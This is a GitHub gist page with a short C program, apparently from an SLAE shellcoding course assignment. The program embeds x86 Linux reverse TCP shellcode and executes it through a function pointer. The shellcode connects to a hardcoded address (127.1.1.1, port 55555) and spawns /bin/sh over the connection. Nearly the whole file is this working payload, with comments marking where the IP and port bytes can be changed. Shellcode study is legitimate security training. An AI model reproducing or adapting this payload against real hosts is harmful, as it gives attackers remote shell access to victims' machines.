Skip to content

Instantly share code, notes, and snippets.

@CerebralMischief
Last active August 29, 2015 14:27
Show Gist options
  • Save CerebralMischief/ba8e9c8d12c1e3a155cd to your computer and use it in GitHub Desktop.
Save CerebralMischief/ba8e9c8d12c1e3a155cd to your computer and use it in GitHub Desktop.
Shell Reverse TCP Shellcode in C Language
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/2nd.assignment/shellcode.c
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x68"
"\x7f\x01\x01\x01" // <- IP Number "127.1.1.1"
"\x5e\x66\x68"
"\xd9\x03" // <- Port Number "55555"
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce";
main ()
{
// When the IP contains null-bytes, printf will show a wrong shellcode length.
printf("Shellcode Length: %d\n", strlen(code));
// Pollutes all registers ensuring that the shellcode runs in any circumstance.
__asm__ ("movl $0xffffffff, %eax\n\t"
"movl %eax, %ebx\n\t"
"movl %eax, %ecx\n\t"
"movl %eax, %edx\n\t"
"movl %eax, %esi\n\t"
"movl %eax, %edi\n\t"
"movl %eax, %ebp");
int (*ret)() = (int(*)())code;
ret();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment